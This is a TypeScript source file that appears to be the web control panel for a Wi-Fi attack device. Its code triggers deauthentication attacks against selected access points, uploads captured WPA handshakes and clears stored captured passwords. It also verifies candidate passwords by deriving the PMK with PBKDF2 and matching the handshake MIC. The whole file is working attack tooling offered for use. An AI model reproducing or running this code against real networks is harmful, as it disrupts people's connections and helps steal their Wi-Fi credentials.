v2
424c17b ยท 1 year ago 26 commits
  1import { handshake, network, notifyStyle } from "@/lib/config"
  2import { toast } from "react-hot-toast"
  3import CryptoJS from "crypto-js"
  4
  5interface CapFile {
  6	extractPmkFields(): any
  7}
  8
  9declare var CapFile: {
 10	new (data: ArrayBuffer, isPcap: boolean): CapFile
 11}
 12
 13const deauth = async (state: boolean, apNo: number) => {
 14	if (!state) {
 15		const request = fetch("http://172.0.0.1/stop_deauth").then((response) => response.json())
 16		toast.promise(
 17			request,
 18			{
 19				loading: "Stopping Deauth...",
 20				success: "Deauth Stopped",
 21				error: (err) => err.message,
 22			},
 23			notifyStyle
 24		)
 25		return false
 26	} else {
 27		const request = fetch("http://172.0.0.1/deauth?ap=" + apNo)
 28			.then((response) => {
 29				return response.json()
 30			})
 31			.then((data) => {
 32				if (data.status == "error") {
 33					throw new Error(data.message)
 34				}
 35				return data
 36			})
 37		toast.promise(
 38			request,
 39			{
 40				loading: "Deauthing...",
 41				success: (data) => data.message,
 42				error: (err) => err.message,
 43			},
 44			notifyStyle
 45		)
 46
 47		try {
 48			await request
 49		} catch (err) {
 50			return false
 51		}
 52
 53		return true
 54	}
 55}
 56
 57const handleHandshakeFile = (e: React.ChangeEvent<HTMLInputElement>) => {
 58	if (e.target.files?.length === 0) return
 59	const file = e.target.files?.[0]
 60	if (file) {
 61		var extension = file.name.split(".").pop()?.toLowerCase()
 62		if (extension != "cap" && extension != "pcap") {
 63			toast.error("Please upload a .cap or .pacp file", notifyStyle)
 64			e.target.value = ""
 65			e.target.files = null
 66			return
 67		}
 68	}
 69}
 70
 71const handleUpload = () => {
 72	const handshakeFile = (document.getElementById("handshake-file") as HTMLInputElement).files?.[0]
 73	if (handshakeFile) {
 74		let reader = new FileReader()
 75		reader.onload = async (e) => {
 76			const result = e.target!.result as ArrayBuffer
 77			try {
 78				let cap = new CapFile(result, false)
 79				let handshake = cap.extractPmkFields()
 80				delete handshake.bssid
 81				delete handshake.keyDescriptorVersion
 82				delete handshake.keyLength
 83				let res = await fetch("http://172.0.0.1/post_handshake", {
 84					method: "POST",
 85					body: JSON.stringify(handshake),
 86				})
 87				if (res.status == 200) {
 88					toast.success("Handshake uploaded successfully", notifyStyle)
 89					window.location.reload()
 90				} else {
 91					toast.error("Handshake upload failed", notifyStyle)
 92				}
 93			} catch (err) {
 94				console.log(err)
 95				toast.error("Please upload a valid handshake file", notifyStyle)
 96			}
 97		}
 98		reader.readAsBinaryString(handshakeFile)
 99	} else {
100		toast.error("Please select a handshake file", notifyStyle)
101	}
102}
103
104const handleSSID = () => {
105	const ssid = (document.getElementById("ssid-change") as HTMLInputElement).value
106	if (ssid.length === 0) return
107	if (!confirm("Warning: \nChanging the SSID will restart the device. Do you want to continue?"))
108		return
109	let formData = new FormData()
110	formData.append("ssid", ssid)
111	fetch("http://172.0.0.1/post_ssid", { method: "POST", body: formData })
112	let message = toast.loading(
113		"SSID will be changed in a few seconds. Please switch to the new network.",
114		notifyStyle
115	)
116	setTimeout(() => {
117		toast.dismiss(message)
118		window.location.reload()
119	}, 10000)
120}
121
122const handleReset = async (x: "handshake" | "password") => {
123	if (x == "password") {
124		if (!confirm("Warning: \nDo you want to clear all the passwords?")) return
125		toast.promise(
126			fetch("http://172.0.0.1/clear_passwords"),
127			{
128				loading: "Clearing Passwords...",
129				success: "Passwords Cleared",
130				error: (err) => err.message,
131			},
132			notifyStyle
133		)
134	}
135	if (x == "handshake") {
136		if (!confirm("Warning: \nDo you want to clear all the handshakes?")) return
137		toast.promise(
138			fetch("http://172.0.0.1/clear_handshakes"),
139			{
140				loading: "Clearing Handshakes...",
141				success: "Handshakes Cleared",
142				error: (err) => err.message,
143			},
144			notifyStyle
145		)
146	}
147}
148
149function kckFromPmk(srcAddress: string, dstAddress: string, anonce: string, snonce: string) {
150	let prefix = "5061697277697365206b657920657870616e73696f6e00"
151	if (srcAddress < dstAddress) {
152		prefix += srcAddress
153		prefix += dstAddress
154	} else {
155		prefix += dstAddress
156		prefix += srcAddress
157	}
158	if (snonce < anonce) {
159		prefix += snonce
160		prefix += anonce
161	} else {
162		prefix += anonce
163		prefix += snonce
164	}
165	prefix += "00"
166	return prefix
167}
168
169function crackPassword(network: handshake, password: string) {
170	const pmk = CryptoJS.PBKDF2(password, network.ssid, { keySize: 8, iterations: 4096 })
171	const kck_pmk = kckFromPmk(network.srcAddress, network.dstAddress, network.anonce, network.snonce)
172	const prefix = CryptoJS.enc.Hex.parse(kck_pmk)
173	const hmac = CryptoJS.HmacSHA1(prefix, pmk).toString()
174	let kck = hmac.substring(0, 32)
175	const bytes = CryptoJS.enc.Hex.parse(network.eapolFrameBytes)
176	let newkck = CryptoJS.enc.Hex.parse(kck)
177	const computedMic = CryptoJS.HmacSHA1(bytes, newkck).toString().substring(0, 32)
178	// console.log("network", network.ssid)
179	// console.log("Expected MIC :", network.mic)
180	// console.log("Calculated MIC :", computedMic)
181	if (computedMic === network.mic) {
182		return true
183	} else {
184		return false
185	}
186}
187
188const validatePassword = (password: string, network: network) => {
189	if (network == undefined) {
190		toast.error("Please select a network", notifyStyle)
191		return false
192	}
193	if (password.length < 8) {
194		toast.error("Password must be at least 8 characters long", notifyStyle)
195		return false
196	}
197	network.handshakeData.forEach((handshake) => {
198		if (handshake.ssid !== network.ssid) return
199		if (crackPassword(handshake, password)) {
200			toast.success("Password is valid for " + handshake.ssid, notifyStyle)
201		} else {
202			toast.error("Password is not valid for " + handshake.ssid, notifyStyle)
203		}
204	})
205}
206
207export {
208	deauth,
209	handleSSID,
210	handleHandshakeFile,
211	handleUpload,
212	handleReset,
213	validatePassword,
214	crackPassword,
215}